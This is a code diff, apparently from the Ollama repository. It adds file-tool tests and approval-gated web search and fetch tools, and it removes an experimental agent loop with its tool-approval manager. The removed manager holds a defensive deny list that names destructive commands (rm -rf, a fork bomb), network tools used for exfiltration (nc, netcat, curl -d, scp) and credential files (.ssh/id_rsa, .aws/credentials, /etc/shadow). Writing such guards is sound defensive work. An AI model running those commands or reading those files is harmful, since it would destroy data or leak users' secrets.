if result.Content != "two\nthree\n" {
t.Fatalf("content = %q", result.Content)
}
}
func TestReadStartOnly(t *testing.T) {
dir := t.TempDir()
if err := os.WriteFile(filepath.Join(dir, "note.txt"), []byte("one\ntwo\nthree\nfour\n"), 0o644); err != nil {
t.Fatal(err)
}
result, err := (&Read{}).Execute(context.Background(), agent.ToolContext{WorkingDir: dir}, map[string]any{
"path": "note.txt",
"start": 3,
})
if err != nil {
t.Fatal(err)
}
if result.Content != "three\nfour\n" {
t.Fatalf("content = %q", result.Content)
}
}
func TestReadEndOnly(t *testing.T) {
dir := t.TempDir()
if err := os.WriteFile(filepath.Join(dir, "note.txt"), []byte("one\ntwo\nthree\nfour\n"), 0o644); err != nil {
t.Fatal(err)
}
result, err := (&Read{}).Execute(context.Background(), agent.ToolContext{WorkingDir: dir}, map[string]any{
"path": "note.txt",
"end": 2,
})
if err != nil {
t.Fatal(err)
}
if result.Content != "one\ntwo\n" {
t.Fatalf("content = %q", result.Content)
}
}
func TestReadSelectionRejectsHugeSingleLine(t *testing.T) {
dir := t.TempDir()
if err := os.WriteFile(filepath.Join(dir, "note.txt"), []byte(strings.Repeat("x", maxReadBytes+1)), 0o644); err != nil {
t.Fatal(err)
}
_, err := (&Read{}).Execute(context.Background(), agent.ToolContext{WorkingDir: dir}, map[string]any{
"path": "note.txt",
"start": 1,
"end": 1,
})
if err == nil {
t.Fatal("expected huge selected line to fail")
}
if !strings.Contains(err.Error(), "selected content is too large") {
t.Fatalf("err = %v", err)
}
}
func TestReadAllWithinLimitRejectsGrowingRead(t *testing.T) {
reader := io.MultiReader(
strings.NewReader(strings.Repeat("x", maxReadBytes)),
strings.NewReader("x"),
)
_, err := readAllWithinLimit(reader, maxReadBytes)
if err == nil {
t.Fatal("expected over-limit read to fail")
}
if !strings.Contains(err.Error(), "content is too large") {
t.Fatalf("err = %v", err)
}
}
func TestReadRejectsInvalidRange(t *testing.T) {
dir := t.TempDir()
if err := os.WriteFile(filepath.Join(dir, "note.txt"), []byte("one\ntwo\n"), 0o644); err != nil {
t.Fatal(err)
}
_, err := (&Read{}).Execute(context.Background(), agent.ToolContext{WorkingDir: dir}, map[string]any{
"path": "note.txt",
"start": 4,
"end": 2,
})
if err == nil {
t.Fatal("expected invalid range to fail")
}
if !strings.Contains(err.Error(), "end must") {
t.Fatalf("err = %v", err)
}
}
+75
View File
@@ -0,0 +1,75 @@
//go:build !windows
package tools
import (
"context"
"os"
"path/filepath"
"strings"
"syscall"
"testing"
"time"
"github.com/ollama/ollama/agent"
)
func TestOpenRegularFileRejectsFIFO(t *testing.T) {
dir := t.TempDir()
path := filepath.Join(dir, "pipe")
if err := syscall.Mkfifo(path, 0o600); err != nil {
t.Skipf("mkfifo unavailable: %v", err)
}
done := make(chan error, 1)
go func() {
file, _, err := openRegularFile(dir, "pipe")
if file != nil {
file.Close()
}
done <- err
}()
select {
case err := <-done:
if err == nil {
t.Fatal("expected FIFO to be rejected")
}
if !strings.Contains(err.Error(), "not a regular file") {
t.Fatalf("err = %v", err)
}
case <-time.After(time.Second):
t.Fatal("openRegularFile blocked on FIFO")
}
}
func TestEditPreservesModeDespiteUmask(t *testing.T) {
oldUmask := syscall.Umask(0o077)
defer syscall.Umask(oldUmask)
dir := t.TempDir()
path := filepath.Join(dir, "note.txt")
if err := os.WriteFile(path, []byte("hello\n"), 0o666); err != nil {
t.Fatal(err)
}
if err := os.Chmod(path, 0o666); err != nil {
t.Fatal(err)
}
_, err := (&Edit{}).Execute(context.Background(), agent.ToolContext{WorkingDir: dir}, map[string]any{
"path": "note.txt",
"old_text": "hello",
"new_text": "hi",
})
if err != nil {
t.Fatal(err)
}
info, err := os.Stat(path)
if err != nil {
t.Fatal(err)
}
if got := info.Mode().Perm(); got != 0o666 {
t.Fatalf("mode = %#o, want 0666", got)
}
}
+195
View File
@@ -0,0 +1,195 @@
package tools
import (
"context"
"errors"
"fmt"
"net/url"
"strings"
"time"
"github.com/ollama/ollama/agent"
"github.com/ollama/ollama/api"
internalcloud "github.com/ollama/ollama/internal/cloud"
)
var (
ErrWebSearchAuthRequired = errors.New("web search requires authentication")
ErrWebFetchAuthRequired = errors.New("web fetch requires authentication")
)
const (
maxWebFetchContentRunes = 60_000
webSearchTimeout = 15 * time.Second
webFetchTimeout = 30 * time.Second
)
type WebSearch struct{}
func (w *WebSearch) Name() string {
return "web_search"
}
func (w *WebSearch) Description() string {
return "Search the web for current information that may not be in the model's training data."
}
func (w *WebSearch) Schema() api.ToolFunction {
props := api.NewToolPropertiesMap()
props.Set("query", api.ToolProperty{
Type: api.PropertyType{"string"},
Description: "The search query to look up on the web.",
})
return api.ToolFunction{
Name: w.Name(),
Description: w.Description(),
Parameters: api.ToolFunctionParameters{
Type: "object",
Properties: props,
Required: []string{"query"},
},
}
}
func (w *WebSearch) RequiresApproval(map[string]any) bool {
return true
}
func (w *WebSearch) Execute(ctx context.Context, _ agent.ToolContext, args map[string]any) (agent.ToolResult, error) {
if internalcloud.Disabled() {
return agent.ToolResult{}, errors.New(internalcloud.DisabledError("web search is unavailable"))
}
query, ok := args["query"].(string)
if !ok || strings.TrimSpace(query) == "" {
return agent.ToolResult{}, fmt.Errorf("query parameter is required")
}
client, err := api.ClientFromEnvironment()
if err != nil {
return agent.ToolResult{}, err
}
ctx, cancel := context.WithTimeout(ctx, webSearchTimeout)
defer cancel()
searchResp, err := client.WebSearchExperimental(ctx, &api.WebSearchRequest{Query: query, MaxResults: 5})
if err != nil {
var authErr api.AuthorizationError
if errors.As(err, &authErr) {
return agent.ToolResult{}, ErrWebSearchAuthRequired
}
return agent.ToolResult{}, err
}
if len(searchResp.Results) == 0 {
return agent.ToolResult{Content: "No results found for query: " + query}, nil
}
var sb strings.Builder
sb.WriteString(fmt.Sprintf("Search results for: %s\n\n", query))
for i, result := range searchResp.Results {
sb.WriteString(fmt.Sprintf("%d. %s\n", i+1, result.Title))
sb.WriteString(fmt.Sprintf(" URL: %s\n", result.URL))
if result.Content != "" {
content := []rune(result.Content)
if len(content) > 300 {
content = append(content[:300], []rune("...")...)
}
sb.WriteString(fmt.Sprintf(" %s\n", string(content)))
}
sb.WriteByte('\n')
}
return agent.ToolResult{Content: sb.String()}, nil
}
type WebFetch struct{}
func (w *WebFetch) Name() string {
return "web_fetch"
}
func (w *WebFetch) Description() string {
return "Fetch and extract text content from a web page."
}
func (w *WebFetch) Schema() api.ToolFunction {
props := api.NewToolPropertiesMap()
props.Set("url", api.ToolProperty{
Type: api.PropertyType{"string"},
Description: "The URL to fetch and extract content from.",
})
return api.ToolFunction{
Name: w.Name(),
Description: w.Description(),
Parameters: api.ToolFunctionParameters{
Type: "object",
Properties: props,
Required: []string{"url"},
},
}
}
func (w *WebFetch) RequiresApproval(map[string]any) bool {
return true
}
func (w *WebFetch) Execute(ctx context.Context, _ agent.ToolContext, args map[string]any) (agent.ToolResult, error) {
if internalcloud.Disabled() {
return agent.ToolResult{}, errors.New(internalcloud.DisabledError("web fetch is unavailable"))
}
urlStr, ok := args["url"].(string)
if !ok || strings.TrimSpace(urlStr) == "" {
return agent.ToolResult{}, fmt.Errorf("url parameter is required")
}
if _, err := url.Parse(urlStr); err != nil {
return agent.ToolResult{}, fmt.Errorf("invalid URL: %w", err)
}
client, err := api.ClientFromEnvironment()
if err != nil {
return agent.ToolResult{}, err
}
ctx, cancel := context.WithTimeout(ctx, webFetchTimeout)
defer cancel()
fetchResp, err := client.WebFetchExperimental(ctx, &api.WebFetchRequest{URL: urlStr})
if err != nil {
var authErr api.AuthorizationError
if errors.As(err, &authErr) {
return agent.ToolResult{}, ErrWebFetchAuthRequired
}
return agent.ToolResult{}, err
}
var sb strings.Builder
if fetchResp.Title != "" {
sb.WriteString(fmt.Sprintf("Title: %s\n\n", fetchResp.Title))
}
if fetchResp.Content != "" {
sb.WriteString("Content:\n")
sb.WriteString(truncateWebFetchContent(fetchResp.Content))
} else {
sb.WriteString("No content could be extracted from the page.")
}
return agent.ToolResult{Content: sb.String()}, nil
}
func truncateWebFetchContent(content string) string {
runes := []rune(content)
if len(runes) <= maxWebFetchContentRunes {
return content
}
omitted := len(runes) - maxWebFetchContentRunes
return string(runes[:maxWebFetchContentRunes]) + fmt.Sprintf(
"\n\n[tool output truncated: showing first ~%d tokens; omitted ~%d tokens. Use a narrower request or search query if more detail is needed.]",
approximateToolTokensFromRunes(maxWebFetchContentRunes),
approximateToolTokensFromRunes(omitted),
)
}
func approximateToolTokensFromRunes(n int) int {
if n <= 0 {
return 0
}
return max(1, (n+3)/4)
}
+59
View File
@@ -0,0 +1,59 @@
package tools
import (
"encoding/json"
"net/http"
"net/http/httptest"
"strings"
"testing"
coreagent "github.com/ollama/ollama/agent"
"github.com/ollama/ollama/api"
)
func TestWebToolsRequireApproval(t *testing.T) {
if !coreagent.ToolRequiresApproval((&WebSearch{}), map[string]any{"query": "ollama"}) {
t.Fatal("web search should require approval")
}
if !coreagent.ToolRequiresApproval((&WebFetch{}), map[string]any{"url": "https://ollama.com"}) {
t.Fatal("web fetch should require approval")
}
}
func TestWebFetchBoundsContentBeforeReturning(t *testing.T) {
ts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
if r.URL.Path != "/api/experimental/web_fetch" {
t.Fatalf("path = %q, want /api/experimental/web_fetch", r.URL.Path)
}
var req api.WebFetchRequest
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
t.Fatal(err)
}
if req.URL != "https://ollama.com" {
t.Fatalf("request URL = %q, want https://ollama.com", req.URL)
}
if err := json.NewEncoder(w).Encode(api.WebFetchResponse{
Title: "Ollama",
Content: strings.Repeat("x", maxWebFetchContentRunes+25),
}); err != nil {
t.Fatal(err)
}
}))
defer ts.Close()
t.Setenv("OLLAMA_HOST", ts.URL)
result, err := (&WebFetch{}).Execute(t.Context(), coreagent.ToolContext{}, map[string]any{
"url": "https://ollama.com",
})
if err != nil {
t.Fatal(err)
}
if !strings.Contains(result.Content, "[tool output truncated: showing first ~") ||
!strings.Contains(result.Content, "omitted ~7 tokens") ||
!strings.Contains(result.Content, "Use a narrower request or search query") {
t.Fatalf("content missing truncation marker: %q", result.Content)
}
if count := strings.Count(result.Content, "x"); count != maxWebFetchContentRunes {
t.Fatalf("captured content count = %d, want %d", count, maxWebFetchContentRunes)
}
}
+20
View File
@@ -473,6 +473,26 @@ func (c *Client) CloudStatusExperimental(ctx context.Context) (*StatusResponse,
return &status, nil return &status, nil
} }
// WebSearchExperimental searches the web through the local server's
// experimental web search endpoint.
func (c *Client) WebSearchExperimental(ctx context.Context, req *WebSearchRequest) (*WebSearchResponse, error) {
var resp WebSearchResponse
if err := c.do(ctx, http.MethodPost, "/api/experimental/web_search", req, &resp); err != nil {
return nil, err
}
return &resp, nil
}
// WebFetchExperimental fetches web page content through the local server's
// experimental web fetch endpoint.
func (c *Client) WebFetchExperimental(ctx context.Context, req *WebFetchRequest) (*WebFetchResponse, error) {
var resp WebFetchResponse
if err := c.do(ctx, http.MethodPost, "/api/experimental/web_fetch", req, &resp); err != nil {
return nil, err
}
return &resp, nil
}
// Signout will signout a client for a local ollama server. // Signout will signout a client for a local ollama server.
func (c *Client) Signout(ctx context.Context) error { func (c *Client) Signout(ctx context.Context) error {
return c.do(ctx, http.MethodPost, "/api/signout", nil, nil) return c.do(ctx, http.MethodPost, "/api/signout", nil, nil)
+76
View File
@@ -351,6 +351,82 @@ func TestClientDo(t *testing.T) {
} }
} }
func TestClientWebSearchExperimentalUsesLocalRoute(t *testing.T) {
var gotPath string
var gotMethod string
var gotRequest WebSearchRequest
ts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
gotPath = r.URL.Path
gotMethod = r.Method
if err := json.NewDecoder(r.Body).Decode(&gotRequest); err != nil {
t.Fatal(err)
}
if err := json.NewEncoder(w).Encode(WebSearchResponse{
Results: []WebSearchResult{{Title: "Ollama", URL: "https://ollama.com", Content: "models"}},
}); err != nil {
t.Fatal(err)
}
}))
defer ts.Close()
client := NewClient(&url.URL{Scheme: "http", Host: ts.Listener.Addr().String()}, http.DefaultClient)
resp, err := client.WebSearchExperimental(t.Context(), &WebSearchRequest{Query: "ollama", MaxResults: 3})
if err != nil {
t.Fatal(err)
}
if gotMethod != http.MethodPost {
t.Fatalf("method = %q, want POST", gotMethod)
}
if gotPath != "/api/experimental/web_search" {
t.Fatalf("path = %q, want /api/experimental/web_search", gotPath)
}
if gotRequest.Query != "ollama" || gotRequest.MaxResults != 3 {
t.Fatalf("request = %#v", gotRequest)
}
if len(resp.Results) != 1 || resp.Results[0].Title != "Ollama" {
t.Fatalf("response = %#v", resp)
}
}
func TestClientWebFetchExperimentalUsesLocalRoute(t *testing.T) {
var gotPath string
var gotMethod string
var gotRequest WebFetchRequest
ts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
gotPath = r.URL.Path
gotMethod = r.Method
if err := json.NewDecoder(r.Body).Decode(&gotRequest); err != nil {
t.Fatal(err)
}
if err := json.NewEncoder(w).Encode(WebFetchResponse{
Title: "Ollama",
Content: "models",
Links: []string{"https://ollama.com/library"},
}); err != nil {
t.Fatal(err)
}
}))
defer ts.Close()
client := NewClient(&url.URL{Scheme: "http", Host: ts.Listener.Addr().String()}, http.DefaultClient)
resp, err := client.WebFetchExperimental(t.Context(), &WebFetchRequest{URL: "https://ollama.com"})
if err != nil {
t.Fatal(err)
}
if gotMethod != http.MethodPost {
t.Fatalf("method = %q, want POST", gotMethod)
}
if gotPath != "/api/experimental/web_fetch" {
t.Fatalf("path = %q, want /api/experimental/web_fetch", gotPath)
}
if gotRequest.URL != "https://ollama.com" {
t.Fatalf("request = %#v", gotRequest)
}
if resp.Title != "Ollama" || resp.Content != "models" {
t.Fatalf("response = %#v", resp)
}
}
type roundTripFunc func(*http.Request) (*http.Response, error) type roundTripFunc func(*http.Request) (*http.Response, error)
func (f roundTripFunc) RoundTrip(req *http.Request) (*http.Response, error) { func (f roundTripFunc) RoundTrip(req *http.Request) (*http.Response, error) {
+30
View File
@@ -868,6 +868,36 @@ type StatusResponse struct {
Cloud CloudStatus `json:"cloud"` Cloud CloudStatus `json:"cloud"`
} }
// WebSearchRequest is the request for [Client.WebSearchExperimental].
type WebSearchRequest struct {
Query string `json:"query"`
MaxResults int `json:"max_results,omitempty"`
}
// WebSearchResult is a single result from [Client.WebSearchExperimental].
type WebSearchResult struct {
Title string `json:"title"`
URL string `json:"url"`
Content string `json:"content"`
}
// WebSearchResponse is the response from [Client.WebSearchExperimental].
type WebSearchResponse struct {
Results []WebSearchResult `json:"results"`
}
// WebFetchRequest is the request for [Client.WebFetchExperimental].
type WebFetchRequest struct {
URL string `json:"url"`
}
// WebFetchResponse is the response from [Client.WebFetchExperimental].
type WebFetchResponse struct {
Title string `json:"title"`
Content string `json:"content"`
Links []string `json:"links,omitempty"`
}
// GenerateResponse is the response passed into [GenerateResponseFunc]. // GenerateResponse is the response passed into [GenerateResponseFunc].
type GenerateResponse struct { type GenerateResponse struct {
// Model is the model name that generated the response. // Model is the model name that generated the response.
-14
View File
@@ -55,7 +55,6 @@ import (
"github.com/ollama/ollama/types/model" "github.com/ollama/ollama/types/model"
"github.com/ollama/ollama/types/syncmap" "github.com/ollama/ollama/types/syncmap"
"github.com/ollama/ollama/version" "github.com/ollama/ollama/version"
xcmd "github.com/ollama/ollama/x/cmd"
xcreate "github.com/ollama/ollama/x/create" xcreate "github.com/ollama/ollama/x/create"
xcreateclient "github.com/ollama/ollama/x/create/client" xcreateclient "github.com/ollama/ollama/x/create/client"
"github.com/ollama/ollama/x/imagegen" "github.com/ollama/ollama/x/imagegen"
@@ -885,11 +884,6 @@ func RunHandler(cmd *cobra.Command, args []string) error {
return imagegen.RunCLI(cmd, name, opts.Prompt, interactive, opts.KeepAlive) return imagegen.RunCLI(cmd, name, opts.Prompt, interactive, opts.KeepAlive)
} }
// Check for experimental flag
isExperimental, _ := cmd.Flags().GetBool("experimental")
yoloMode, _ := cmd.Flags().GetBool("experimental-yolo")
enableWebsearch, _ := cmd.Flags().GetBool("experimental-websearch")
if interactive { if interactive {
if err := loadOrUnloadModel(cmd, &opts); err != nil { if err := loadOrUnloadModel(cmd, &opts); err != nil {
var sErr api.AuthorizationError var sErr api.AuthorizationError
@@ -916,11 +910,6 @@ func RunHandler(cmd *cobra.Command, args []string) error {
} }
} }
// Use experimental agent loop with tools
if isExperimental {
return xcmd.GenerateInteractive(cmd, opts.Model, opts.WordWrap, opts.Options, opts.Think, opts.HideThinking, opts.KeepAlive, yoloMode, enableWebsearch)
}
return generateInteractive(cmd, opts) return generateInteractive(cmd, opts)
} }
if err := generate(cmd, opts); err != nil { if err := generate(cmd, opts); err != nil {
@@ -2413,9 +2402,6 @@ func NewCLI() *cobra.Command {
runCmd.Flags().Bool("hidethinking", false, "Hide thinking output (if provided)") runCmd.Flags().Bool("hidethinking", false, "Hide thinking output (if provided)")
runCmd.Flags().Bool("truncate", false, "For embedding models: truncate inputs exceeding context length (default: true). Set --truncate=false to error instead") runCmd.Flags().Bool("truncate", false, "For embedding models: truncate inputs exceeding context length (default: true). Set --truncate=false to error instead")
runCmd.Flags().Int("dimensions", 0, "Truncate output embeddings to specified dimension (embedding models only)") runCmd.Flags().Int("dimensions", 0, "Truncate output embeddings to specified dimension (embedding models only)")
runCmd.Flags().Bool("experimental", false, "Enable experimental agent loop with tools")
runCmd.Flags().Bool("experimental-yolo", false, "Skip all tool approval prompts (use with caution)")
runCmd.Flags().Bool("experimental-websearch", false, "Enable web search tool in experimental mode")
// Image generation flags (width, height, steps, seed, etc.) // Image generation flags (width, height, steps, seed, etc.)
imagegen.RegisterFlags(runCmd) imagegen.RegisterFlags(runCmd)
-1125
View File
@@ -1,1125 +0,0 @@
// Package agent provides agent loop orchestration and tool approval.
package agent
import (
"fmt"
"os"
"path"
"path/filepath"
"strings"
"sync"
"golang.org/x/term"
)
// ApprovalDecision represents the user's decision for a tool execution.
type ApprovalDecision int
const (
// ApprovalDeny means the user denied execution.
ApprovalDeny ApprovalDecision = iota
// ApprovalOnce means execute this one time only.
ApprovalOnce
// ApprovalAlways means add to session allowlist.
ApprovalAlways
)
// ApprovalResult contains the decision and optional deny reason.
type ApprovalResult struct {
Decision ApprovalDecision
DenyReason string
}
// Option labels for the selector (numbered for quick selection)
var optionLabels = []string{
"1. Execute once",
"2. Allow for this session",
"3. Deny",
}
// toolDisplayNames maps internal tool names to human-readable display names.
var toolDisplayNames = map[string]string{
"bash": "Bash",
"web_search": "Web Search",
"web_fetch": "Web Fetch",
}
// ToolDisplayName returns the human-readable display name for a tool.
func ToolDisplayName(toolName string) string {
if displayName, ok := toolDisplayNames[toolName]; ok {
return displayName
}
// Default: capitalize first letter and replace underscores with spaces
name := strings.ReplaceAll(toolName, "_", " ")
if len(name) > 0 {
return strings.ToUpper(name[:1]) + name[1:]
}
return toolName
}
// autoAllowCommands are commands that are always allowed without prompting.
// These are zero-risk, read-only commands.
var autoAllowCommands = map[string]bool{
"pwd": true,
"echo": true,
"date": true,
"whoami": true,
"hostname": true,
"uname": true,
}
// autoAllowPrefixes are command prefixes that are always allowed.
// These are read-only or commonly-needed development commands.
var autoAllowPrefixes = []string{
// Git read-only
"git status", "git log", "git diff", "git branch", "git show",
"git remote -v", "git tag", "git stash list",
// Package managers - run scripts
"npm run", "npm test", "npm start",
"bun run", "bun test",
"uv run",
"yarn run", "yarn test",
"pnpm run", "pnpm test",
// Package info
"go list", "go version", "go env",
"npm list", "npm ls", "npm version",
"pip list", "pip show",
"cargo tree", "cargo version",
// Build commands
"go build", "go test", "go fmt", "go vet",
"make", "cmake",
"cargo build", "cargo test", "cargo check",
}
// denyPatterns are dangerous command patterns that are always blocked.
var denyPatterns = []string{
// Destructive commands
"rm -rf", "rm -fr",
"mkfs", "dd if=", "dd of=",
"shred",
"> /dev/", ">/dev/",
// Privilege escalation
"sudo ", "su ", "doas ",
"chmod 777", "chmod -R 777",
"chown ", "chgrp ",
// Network exfiltration
"curl -d", "curl --data", "curl -X POST", "curl -X PUT",
"wget --post",
"nc ", "netcat ",
"scp ", "rsync ",
// History and credentials
"history",
".bash_history", ".zsh_history",
".ssh/id_rsa", ".ssh/id_dsa", ".ssh/id_ecdsa", ".ssh/id_ed25519",
".ssh/config",
".aws/credentials", ".aws/config",
".gnupg/",
"/etc/shadow", "/etc/passwd",
// Dangerous patterns
":(){ :|:& };:", // fork bomb
"chmod +s", // setuid
"mkfifo",
}
// denyPathPatterns are file patterns that should never be accessed.
// These are checked as exact filename matches or path suffixes.
var denyPathPatterns = []string{
".env",
".env.local",
".env.production",
"credentials.json",
"secrets.json",
"secrets.yaml",
"secrets.yml",
".pem",
".key",
}
// ApprovalManager manages tool execution approvals.
type ApprovalManager struct {
allowlist map[string]bool // exact matches
prefixes map[string]bool // prefix matches for bash commands (e.g., "cat:tools/")
mu sync.RWMutex
}
// NewApprovalManager creates a new approval manager.
func NewApprovalManager() *ApprovalManager {
return &ApprovalManager{
allowlist: make(map[string]bool),
prefixes: make(map[string]bool),
}
}
// IsAutoAllowed checks if a bash command is auto-allowed (no prompt needed).
func IsAutoAllowed(command string) bool {
command = strings.TrimSpace(command)
// Check exact command match (first word)
fields := strings.Fields(command)
if len(fields) > 0 && autoAllowCommands[fields[0]] {
return true
}
// Check prefix match
for _, prefix := range autoAllowPrefixes {
if strings.HasPrefix(command, prefix) {
return true
}
}
return false
}
// IsDenied checks if a bash command matches deny patterns.
// Returns true and the matched pattern if denied.
func IsDenied(command string) (bool, string) {
commandLower := strings.ToLower(command)
// Check deny patterns
for _, pattern := range denyPatterns {
if strings.Contains(commandLower, strings.ToLower(pattern)) {
return true, pattern
}
}
// Check deny path patterns
for _, pattern := range denyPathPatterns {
if strings.Contains(commandLower, strings.ToLower(pattern)) {
return true, pattern
}
}
return false, ""
}
// FormatDeniedResult returns the tool result message when a command is blocked.
func FormatDeniedResult(command string, pattern string) string {
return fmt.Sprintf("Command blocked: this command matches a dangerous pattern (%s) and cannot be executed. If this command is necessary, please ask the user to run it manually.", pattern)
}
// extractBashPrefix extracts a prefix pattern from a bash command.
// For commands like "cat tools/tools_test.go | head -200", returns "cat:tools/"
// For commands without path args, returns empty string.
// Paths with ".." traversal that escape the base directory return empty string for security.
func extractBashPrefix(command string) string {
// Split command by pipes and get the first part
parts := strings.Split(command, "|")
firstCmd := strings.TrimSpace(parts[0])
// Split into command and args
fields := strings.Fields(firstCmd)
if len(fields) < 2 {
return ""
}
baseCmd := fields[0]
// Common commands that benefit from prefix allowlisting
// These are typically safe for read operations on specific directories
safeCommands := map[string]bool{
"cat": true, "ls": true, "head": true, "tail": true,
"less": true, "more": true, "file": true, "wc": true,
"grep": true, "find": true, "tree": true, "stat": true,
"sed": true,
}
if !safeCommands[baseCmd] {
return ""
}
// Find the first path-like argument (must contain / or \ or start with .)
// First pass: look for clear paths (containing path separators or starting with .)
for _, arg := range fields[1:] {
// Skip flags
if strings.HasPrefix(arg, "-") {
continue
}
// Skip numeric arguments (e.g., "head -n 100")
if isNumeric(arg) {
continue
}
// Only process if it looks like a path (contains / or \ or starts with .)
if !strings.Contains(arg, "/") && !strings.Contains(arg, "\\") && !strings.HasPrefix(arg, ".") {
continue
}
// Normalize to forward slashes for consistent cross-platform matching
arg = strings.ReplaceAll(arg, "\\", "/")
// Security: reject absolute paths
if path.IsAbs(arg) {
return "" // Absolute path - don't create prefix
}
// Normalize the path using stdlib path.Clean (resolves . and ..)
cleaned := path.Clean(arg)
// Security: reject if cleaned path escapes to parent directory
if strings.HasPrefix(cleaned, "..") {
return "" // Path escapes - don't create prefix
}
// Security: if original had "..", verify cleaned path didn't escape to sibling
// e.g., "tools/a/b/../../../etc" -> "etc" (escaped tools/ to sibling)
if strings.Contains(arg, "..") {
origBase := strings.SplitN(arg, "/", 2)[0]
cleanedBase := strings.SplitN(cleaned, "/", 2)[0]
if origBase != cleanedBase {
return "" // Path escaped to sibling directory
}
}
// Check if arg ends with / (explicit directory)
isDir := strings.HasSuffix(arg, "/")
// Get the directory part
var dir string
if isDir {
dir = cleaned
} else {
dir = path.Dir(cleaned)
}
if dir == "." {
return fmt.Sprintf("%s:./", baseCmd)
}
return fmt.Sprintf("%s:%s/", baseCmd, dir)
}
// Second pass: if no clear path found, use the first non-flag argument as a filename
for _, arg := range fields[1:] {
if strings.HasPrefix(arg, "-") {
continue
}
if isNumeric(arg) {
continue
}
// Treat as filename in current dir
return fmt.Sprintf("%s:./", baseCmd)
}
return ""
}
// isNumeric checks if a string is a numeric value
func isNumeric(s string) bool {
for _, c := range s {
if c < '0' || c > '9' {
return false
}
}
return len(s) > 0
}
// isCommandOutsideCwd checks if a bash command targets paths outside the current working directory.
// Returns true if any path argument would access files outside cwd.
func isCommandOutsideCwd(command string) bool {
cwd, err := os.Getwd()
if err != nil {
return false // Can't determine, assume safe
}
// Split command by pipes and semicolons to check all parts
parts := strings.FieldsFunc(command, func(r rune) bool {
return r == '|' || r == ';' || r == '&'
})
for _, part := range parts {
part = strings.TrimSpace(part)
fields := strings.Fields(part)
if len(fields) == 0 {
continue
}
// Check each argument that looks like a path
for _, arg := range fields[1:] {
// Skip flags
if strings.HasPrefix(arg, "-") {
continue
}
// Treat POSIX-style absolute paths as outside cwd on all platforms.
if strings.HasPrefix(arg, "/") || strings.HasPrefix(arg, "\\") {
return true
}
// Check for absolute paths outside cwd
if filepath.IsAbs(arg) {
absPath := filepath.Clean(arg)
if !strings.HasPrefix(absPath, cwd) {
return true
}
continue
}
// Check for relative paths that escape cwd (e.g., ../foo, /etc/passwd)
if strings.HasPrefix(arg, "..") {
// Resolve the path relative to cwd
absPath := filepath.Join(cwd, arg)
absPath = filepath.Clean(absPath)
if !strings.HasPrefix(absPath, cwd) {
return true
}
}
// Check for home directory expansion
if strings.HasPrefix(arg, "~") {
home, err := os.UserHomeDir()
if err == nil && !strings.HasPrefix(home, cwd) {
return true
}
}
}
}
return false
}
// AllowlistKey generates the key for exact allowlist lookup.
func AllowlistKey(toolName string, args map[string]any) string {
if toolName == "bash" {
if cmd, ok := args["command"].(string); ok {
return fmt.Sprintf("bash:%s", cmd)
}
}
return toolName
}
// IsAllowed checks if a tool/command is allowed (exact match or prefix match).
// For bash commands, hierarchical path matching is used - if "cat:tools/" is allowed,
// then "cat:tools/subdir/" is also allowed (subdirectories inherit parent permissions).
func (a *ApprovalManager) IsAllowed(toolName string, args map[string]any) bool {
a.mu.RLock()
defer a.mu.RUnlock()
// Check exact match first
key := AllowlistKey(toolName, args)
if a.allowlist[key] {
return true
}
// For bash commands, check prefix matches with hierarchical path support
if toolName == "bash" {
if cmd, ok := args["command"].(string); ok {
prefix := extractBashPrefix(cmd)
if prefix != "" {
// Check exact prefix match first
if a.prefixes[prefix] {
return true
}
// Check hierarchical match: if any stored prefix is a parent of current prefix
// e.g., stored "cat:tools/" should match current "cat:tools/subdir/"
if a.matchesHierarchicalPrefix(prefix) {
return true
}
}
}
}
// Check if tool itself is allowed (non-bash)
if toolName != "bash" && a.allowlist[toolName] {
return true
}
return false
}
// matchesHierarchicalPrefix checks if the given prefix matches any stored prefix hierarchically.
// For example, if "cat:tools/" is stored, it will match "cat:tools/subdir/" or "cat:tools/a/b/c/".
func (a *ApprovalManager) matchesHierarchicalPrefix(currentPrefix string) bool {
// Split prefix into command and path parts (format: "cmd:path/")
colonIdx := strings.Index(currentPrefix, ":")
if colonIdx == -1 {
return false
}
currentCmd := currentPrefix[:colonIdx]
currentPath := currentPrefix[colonIdx+1:]
for storedPrefix := range a.prefixes {
storedColonIdx := strings.Index(storedPrefix, ":")
if storedColonIdx == -1 {
continue
}
storedCmd := storedPrefix[:storedColonIdx]
storedPath := storedPrefix[storedColonIdx+1:]
// Commands must match exactly
if currentCmd != storedCmd {
continue
}
// Check if current path starts with stored path (hierarchical match)
// e.g., "tools/subdir/" starts with "tools/"
if strings.HasPrefix(currentPath, storedPath) {
return true
}
}
return false
}
// AddToAllowlist adds a tool/command to the session allowlist.
// For bash commands, it adds the prefix pattern instead of exact command.
func (a *ApprovalManager) AddToAllowlist(toolName string, args map[string]any) {
a.mu.Lock()
defer a.mu.Unlock()
if toolName == "bash" {
if cmd, ok := args["command"].(string); ok {
prefix := extractBashPrefix(cmd)
if prefix != "" {
a.prefixes[prefix] = true
return
}
// Fall back to exact match if no prefix extracted
a.allowlist[fmt.Sprintf("bash:%s", cmd)] = true
return
}
}
a.allowlist[toolName] = true
}
// RequestApproval prompts the user for approval to execute a tool.
// Returns the decision and optional deny reason.
func (a *ApprovalManager) RequestApproval(toolName string, args map[string]any) (ApprovalResult, error) {
// Format tool info for display
toolDisplay := formatToolDisplay(toolName, args)
// Enter raw mode for interactive selection
fd := int(os.Stdin.Fd())
oldState, err := term.MakeRaw(fd)
if err != nil {
// Fallback to simple input if terminal control fails
return a.fallbackApproval(toolDisplay)
}
// Flush any pending stdin input before starting selector
// This prevents buffered input from causing double-press issues
flushStdin(fd)
isWarning := false
var warningMsg string
var allowlistInfo string
if toolName == "bash" {
if cmd, ok := args["command"].(string); ok {
if isCommandOutsideCwd(cmd) {
isWarning = true
warningMsg = "command targets paths outside project"
}
if prefix := extractBashPrefix(cmd); prefix != "" {
colonIdx := strings.Index(prefix, ":")
if colonIdx != -1 {
cmdName := prefix[:colonIdx]
dirPath := prefix[colonIdx+1:]
if dirPath != "./" {
allowlistInfo = fmt.Sprintf("%s in %s directory (includes subdirs)", cmdName, dirPath)
} else {
allowlistInfo = fmt.Sprintf("%s in %s directory", cmdName, dirPath)
}
}
}
}
}
// Run interactive selector
